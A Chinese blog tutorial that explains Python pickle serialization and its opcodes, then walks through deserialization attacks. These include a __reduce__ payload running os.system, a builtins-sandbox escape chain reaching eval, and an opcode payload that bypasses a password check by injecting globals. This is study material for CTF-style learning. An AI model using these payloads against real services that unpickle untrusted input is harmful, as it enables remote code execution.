首页 > 编程语言 >python反序列化

python反序列化

时间:2024-07-20 21:51:59浏览次数:16  
标签:__ builtins python self 对象 序列化 pickle

之前hgame中遇到python反序列化,这次正好借分享会来尽可能详细学习一下python反序列化

基础知识

什么是序列化?反序列化?

  • 在很多时候为了方便对象传输,我们往往会把一些内容转化成更方便存储、传输的形式。
  • 我们把“对象 -> 字符串”的翻译过程称为“序列化”;相应地,把“字符串 -> 对象”的过程称为“反序列化” 。需要保存一个对象的时候,就把它序列化变成字符串;需要从字符串中提取一个对象的时候,就把它反序列化。

官方文档:
pickle --- Python 对象序列化
在python中有这样的模块 pickle实现了对一个 Python 对象结构序列化和反序列化。

什么是python对象结构?

  • 在Python中,几乎所有的数据都被视为对象。对象是Python中最基本的概念之一,它可以是任何数据类型,包括数字、字符串、列表、元组、字典等。对象是数据的抽象,每个对象都有其类型、值和身份。

顺带一提类:

  • 类:在python中,把具有相同属性和方法的对象归为一个类(class)

常用函数

image.png
简言之,如果要将python对象结构保存为文件,则使用dump(类比serialize),load(类比unserialize),如果将python对象结构转化为字节流,则使用dumps(类比serialize),loads(类比unserialize)

基础示例

import pickle
zj = '111nya'

filename = "tttang"
# 序列化
with open(filename, 'wb') as f:#以二进制可写形式打开tttang这个文件
    pickle.dump(zj, f) #将zj这个变量对应的字符串进行序列化并写入到f中

# 读取序列化后生成的文件
with open(filename, "rb") as f:
    print(f.read())

# 反序列化
with open(filename, "rb") as f: #以二进制可读形式打开tttang这个文件
    print(pickle.load(f)) #将这个文件进行反序列化并输出

image.png

import pickle
x = [123, 'QwQ', (233, 333, 666), {'name': 'rxz'}]
s = pickle.dumps(x)
print(s)
r = pickle.loads(s)
print(r)

image.png

import pickle
# class Person1():
#         age = 19
#         name = "1nnya"
#
# p = Person1()
# opcode1 = pickle.dumps(p)
# print(opcode1)
# P = pickle.loads(opcode1)
# print(P.age)

class Person():
    def __init__(self):
        self.age = 19
        self.name = "1nnya"


p = Person()
# 序列化
opcode = pickle.dumps(p, protocol=3)
print(opcode)
# 反序列化
P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)

下面这个是上述代码被我注释掉的部分的运行结果:
image.png
这是没被注释掉的那部分运行结果:
image.png
(这里是因为,一篇文章里说:对于我们自己定义的class,如果直接以形如age=19的方式赋初值,则这个age不会被打包。解决方案是写一个__init__方法)
这里确实看到序列化后的内容没有age 19 name 1nnya这种字样,但是反序列化后还是有内容(?)
待会的opcode这里还可以进一步对比一下

pickle-opcode

在pickle.loads是一个调用的接口,其底层调用了_Unpickler类
在反序列化过程中_Unpickler维护了两个东西,栈区和存储区
image.png

  • 栈区是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。
  • 存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。

pickletools

根据刚才的运行结果,我们可以看到一些熟悉的python对象结构的内容,但其余的更多是一些看不懂的字符,这些即pickle的操作码(Operation Code)
我们可以ctrl+pickle,跳转到pickle.py中,看到这些操作码
image.png
但根据pickle.py来对照理解是非常麻烦的。这里引入一个python自带的pickle调试器——pickletools
这里介绍需要用到的两个功能:

  1. 反汇编一个已经被打包(序列化)的字符串
pickletools.dis(opcode)

image.png

反汇编功能:解析那个字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。

  1. 优化一个已经被打包(序列化)的字符串
opcode1 = pickletools.optimize(opcode)
pickletools.dis(opcode1)

image.png
可以看到优化基本是将这里不必要的BINPUT给去掉了
这个BINPUT意思是把当前栈的栈顶复制一份,放进储存区

关于优化,chatgpt是这样解释
优化的目的通常是减少序列化数据的大小以及序列化和反序列化的时间。在第一个版本中,使用了 "BINPUT" 操作来建立引用,这会增加序列化数据的大小,但在反序列化时可能会提高效率,因为可以通过引用直接获取已经序列化的对象,而不需要重新构造。而在第二个版本中,去除了这些引用,序列化数据变得更加紧凑,但在反序列化时可能需要更多的计算来重建对象。

协议版本

image.png
这里protocol参数可以指定协议版本,下图是指定0号版本
image.png
下图是3号版本,现在默认是4号
image.png
0号版本是最具有可读性的,之后的版本为了优化加入了一些不可打印字符
不过,pickle协议是向前兼容的,即0号版本字符可以直接给pickle.loads()

指令分析

以优化后,3版本来分析一下
image.png
字符串的第一个字节是\x80,读到这机器再立刻去读下一个字节,即\x03
解释为该协议版本是3号,该操作结束
下一个操作符c

  • 这个操作符(称为GLOBAL操作符)它连续读取两个字符串module和name,规定以\n为分割;接下来把module.name这个东西压进栈。那么现在读取到的两个字符串分别是__main__和Person,于是把__main__.Student进栈

下一个操作符)

  • 这个操作符,作用是将一个空元组压入当前栈

下一个操作符\x81

  • 这个操作符创建一个新对象,实例化Person对象,但里面目前什么都没有image.png,实例化时args是个空数组

下一个操作符 }

  • 创建一个空字典压入栈中

下一个操作符( MARK操作符

  • 将特殊标记对象压入堆栈,这个操作符干的事是load_mark(相当于进入一个子进程)
    • 当前栈这个整体,作为一个list,压进前序栈
    • 当前栈清空。

前序栈保存了程序运行至今的(不在顶层的)完整的栈信息,而当前栈专注于处理顶层的事件。

load_mark的逆操作pop_mark(没有操作符,供其他操作符调用)

  • 记录一下当前栈的信息,作为一个list,在load_mark结束时返回。
  • 弹出前序栈的栈顶,用这个list来覆盖当前栈

所有与栈的切换相关的事,都是靠这两个方法来完成
下几个操作符X,K

  • 将数字、字符串压入栈中。
  • 当前栈中元素(由底到顶)age,19,name,1nnya
  • 前序栈中只有一个list,list里有一个空的Student实例,以及一个空的dict

下一个操作符 u
image.png
详细过程:

  • 调用pop_mark。也就是说,把当前栈的内容放进一个数组arr,然后把当前栈恢复到MARK时的状态。
    执行完成之后,arr=['age', 19, 'name', '1nnya'];当前栈里面存的是__main__.Person这个类、一个空的dict。
  • 拿到当前栈的末尾元素,规定必须是一个dict。这里,读到了栈顶那个空dict。
  • 两个一组地读arr里面的元素,前者作为key,后者作为value,存进上一条所述的dict

上面三个操作符的演示可以看这一段
(PVM解析str过程)

下一个操作符 b build

  • 这里更新实例inst

注:这里更新实例的方式是:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.dict 里面。

(这有点不是太懂,先搁置)
最后一个操作符 .

  • 结束的标志

最后结果是
当前栈里只剩下一个实例,它的类型是__main__.Person,里面name的值是1nnya,age的值是19
image.png
image.png

常用opcode

以v0版本为例

指令 描述 具体写法 栈上的变化

|
|
|
|
|
| --- | --- | --- | --- |
| c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
| o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
| i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
| N | 实例化一个None | N | 获得的对象入栈 |
| S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、\'等python字符串形式) | 获得的对象入栈 |
| V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
| I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
| F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
| R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
| . | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
| ( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
| t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
| ) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
| l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
| ] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
| d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
| } | 向栈中直接压入一个空字典 | } | 空字典入栈 |
| p | 将栈顶对象储存至memo_n | pn\n | 无 |
| g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
| 0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
| b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
| s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
| u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
| a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
| e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |

漏洞利用

__reduce__函数

这个是最早也是最典型的反序列化漏洞利用
opcode R指令
image.png
通常为执行一个func(*args),以此来执行系统命令

import pickle
import pickletools
import os

class Person():
    def __init__(self):
        self.age = 19
        self.name = "1nnya"

    def __reduce__(self):
        return (os.system, ('whoami',))


p = Person()
# 序列化
opcode = pickle.dumps(p, protocol=3)
print(opcode)
opcode1 = pickletools.optimize(opcode)
pickletools.dis(opcode1)

# 反序列化
P = pickle.loads(opcode)

print(type(P))
print('The age is:' + str(P.age), 'The name is:' + P.name)

image.png
该函数类比php反序列化中的__wakeup()函数,在反序列化的时候被调用
将生成的payload拿给正常的程序去解析(类里本身没有__reduce__方法):

import pickle

class Person():
    def __init__(self):
        self.age = 19
        self.name = "1nnya"

res = pickle.loads(b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.')

命令仍然会执行
image.png

反序列化限制绕过

反序列化沙盒逃逸

如果一个环境只允许执行使用builtins模块中的内置函数,该环境就可以认为是反序列化沙盒

code-breaking 2018 picklecode的后半部分反序列化沙盒绕过
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

这里使用了RestrictedUnpickler这个类作为序列化时使用的过程类

builtins模块在Python中实际上就是不需要import就能使用的模块,比如常见的open、import、eval、input这种内置函数,都属于builtins模块。
但这些函数已经被禁用了,但是getattr这个函数没有在黑名单中
image.pngimage.png
思路:我们可以通过builtins.getattr('builtins', 'eval')来获取eval函数,然后再执行即可。此时,find_class获得的module是builtins,name是getattr,在允许的范围中,不会被沙盒拦截。

获取getattr这个可执行对象

cbuiltins
getattr

获取当前上下文,python中使用global()获取上下文,所以要builtins.globals

cbuiltins
globals

python中globals是个字典,要取字典中某个值,需要获取dict对象

cbuiltins
dict

执行globals()函数,获取完整上下文
栈顶元素是builtins.globals,我们只需要再压入一个空元组(t,然后使用R执行

cbuiltins
globals
(tR

使用dict.get从globals结果中拿到上下文里的builtins对象,并将其放在memo[1]

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1

这里opcode代码着重看这两个一组来理解
image.png

# 这里GLOBAL就等同于c指令

def GLOBAL(module_name, obj_name):
    module = __import__(module_name)
    return getattr(module, obj_name)

getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')

print(builtins)

也就等同于

import builtins
dict.get(globals(),"builtins")

image.png
接下来去builtins对象中拿到eval危险函数

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

应该是这样但不知道为什么我的python报红
这是PHITHON博客截图

绕过R指令黑名单

包含全局变量实现绕过

登录时绕过密码输入,例题:

num = 111
passwd = "password123"
import pickle, base64
import A   #请注意这里的A.py中内容为num = 0,passwd = "password"(其实随便取,题目就是要绕过passwd判断)

class B():
    def __init__(self, num, passwd):
        self.num = num
        self.passwd = passwd

    def __eq__(self,other):
        return type(other) is B and self.passwd == other.passwd and self.num == other.num

def check(data):
    if (b'R' in data):
        return 'NO REDUCE!!!'
    x = pickle.loads(data)
    if (x != B(A.num, A.passwd)):
        return 'False!!!'
    print('Now A.num == {} AND A.passwd == {}.'.format(A.num, A.passwd))
    return 'Success!'

print(check(base64.b64decode(input())))

import pickle, pickletools, base64

class B():
    def __init__(self, num, passwd):
        self.num = num
        self.passwd = passwd

    def __eq__(self,other):
        return type(other) is B and self.passwd == other.passwd and self.num == other.num

data = pickle.dumps(B(1, "qaq"),protocol=3)
data = pickletools.optimize(data)
print(data)
pickletools.dis(data)

# cA\nnum\n
# cA\npasswd\n

# b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'
payload = b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numcA\nnum\nX\x06\x00\x00\x00passwdcA\npasswd\nub.'
pickletools.dis(payload)
print(base64.b64encode(payload))

image.pngimage.png
image.png

标签:__,builtins,python,self,对象,序列化,pickle
From: https://www.cnblogs.com/1nnya/p/18313866

相关文章

  • 我在 python 项目中不断收到“无法识别图像文件中的数据”错误
    我正在尝试向我的TK窗口添加一个图标,但我不断收到一条错误消息:Traceback(mostrecentcalllast):File"C:\Users\roger\source\repos\PythonApplication\PythonApplication.py",line7,in<module>windowIcon=tk.PhotoImage(file="C:/Users/roger/Downloa......
  • Python学习笔记41:游戏篇之外星人入侵(二)
    前言在上一篇文章,我们已经创建好了项目目录,在今天,我们主要编写入口模块的功能。mainmain.py模块是我们游戏程序的入口,所有我们需要在模块中编写游戏主启动以及主页面相关的代码。当前我们的main模块是这样的,这是我们创建项目时默认生成一些代码,接下来我们就要进行我们......
  • Python学习笔记39:进阶篇(二十八)pygame的使用之按键映射及按键失效问题解决
    前言基础模块的知识通过这么长时间的学习已经有所了解,更加深入的话需要通过完成各种项目,在这个过程中逐渐学习,成长。我们的下一步目标是完成pythoncrashcourse中的外星人入侵项目,这是一个2D游戏项目。在这之前,我们先简单学习一下pygame模块。私信我发送消息python资料,......
  • Python学习笔记40:游戏篇之外星人入侵(一)
    前言入门知识已经学完,常用标准库也了解了,pygame入门知识也学了,那么开始尝试小游戏的开发。当然这个小游戏属于比较简单的小游戏,复杂的游戏需要长时间的编写累计开发经验,同时也需要一定的时间才能编写出来。现在的话还是嫩了点。从基础的简单的开始,学习实践,慢慢的成长才......
  • Python学习笔记37:进阶篇(二十六)pygame的使用之输入处理
    前言基础模块的知识通过这么长时间的学习已经有所了解,更加深入的话需要通过完成各种项目,在这个过程中逐渐学习,成长。我们的下一步目标是完成pythoncrashcourse中的外星人入侵项目,这是一个2D游戏项目。在这之前,我们先简单学习一下pygame模块。私信我发送消息python资料,......
  • Python学习笔记38:进阶篇(二十七)pygame的使用之时间与帧数控制
    前言基础模块的知识通过这么长时间的学习已经有所了解,更加深入的话需要通过完成各种项目,在这个过程中逐渐学习,成长。我们的下一步目标是完成pythoncrashcourse中的外星人入侵项目,这是一个2D游戏项目。在这之前,我们先简单学习一下pygame模块。私信我发送消息python资料,......
  • 音频文件降噪及python示例
    操作系统:Windows10_x64Python版本:3.9.2noisereduce版本:3.0.2从事音频相关工作,大概率会碰到降噪问题,今天整理下之前学习音频文件降噪的笔记,并提供Audacity和python示例。我将从以下几个方面展开:noisereduce库介绍使用Audacity进行降噪使用fft滤波降噪使用noisereduce进......
  • Python; Django 添加字符到路径名导致操作系统错误 22
    我一直在尝试让django渲染我创建的模板。起初它说模板不存在,但是一旦我修复了错误,它现在就会向路径添加字符,并且因此找不到模板。路径应该是:C:\\Users\\ABC\\Desktop\\science_crowd\\Lightweight_Django\\placeholder\\home.html但是错误说:它找不到:C:\\Us......
  • 如何在 IPython 控制台中显示 conda 环境名称?
    上下文我想在Spyder的IPython控制台中显示conda环境名称,这样我就知道我正在运行哪个环境。虽然此信息在状态栏中可用,但有时只是显示|||而不是实际的环境名称:conda我尝试过的在启动时打印它Spyder允许在控制台启动时运行代码。但是,似乎......
  • Python 中更快的套接字
    我有一个用Python编写的服务器客户端,它通过LAN运行。该算法的某些部分密集使用套接字读取,其执行速度比用C++编写的几乎相同的慢3-6倍。有哪些解决方案可以使Python套接字读取速度更快?我实现了一些简单的缓冲,我的用于处理套接字的类如下所示:P.S.:分析还显示......